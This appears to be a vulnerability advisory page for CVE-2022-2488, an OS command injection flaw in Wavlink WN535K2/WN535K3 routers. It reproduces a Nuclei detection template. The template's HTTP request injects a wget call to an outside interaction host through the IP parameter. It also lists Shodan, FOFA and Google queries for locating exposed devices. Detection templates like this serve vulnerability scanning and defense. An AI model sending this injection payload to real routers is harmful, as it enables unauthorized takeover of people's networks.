CVE-2022-2488: Wavlink WN535K2/WN535K3 - OS Command Injection

2025-08-01 Wavlink WN535K2/WN535K3 PoC Public

Description

Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in /cgi-bin/touchlist_sync.cgi via manipulation of the argument IP. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

PoC

id: CVE-2022-2488

info:
  name: Wavlink WN535K2/WN535K3 - OS Command Injection
  author: For3stCo1d
  severity: critical
  description: |
    Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in /cgi-bin/touchlist_sync.cgi via manipulation of the argument IP. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20touchlist_sync.cgi.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2488
    - https://vuldb.com/?id.204539
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2488
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-2488
    cwe-id: CWE-78
    epss-score: 0.33764
    epss-percentile: 0.98304
    cpe: cpe:2.3:o:wavlink:wl-wn535k2_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn535k2_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.title:"wi-fi app login"
    fofa-query: title="wi-fi app login"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,iot,wavlink,router,rce,oast,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}}; HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 500
# digest: 4a0a00473045022100c509418b754ba5fbef587d811f5aced0a11ac1d6dace4e759b6429ecf8e95ff8022037cdda6f7cc9a013d664304d24e836bbcad626486cefe7f15bed14a5452acb0b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2488.yaml

References

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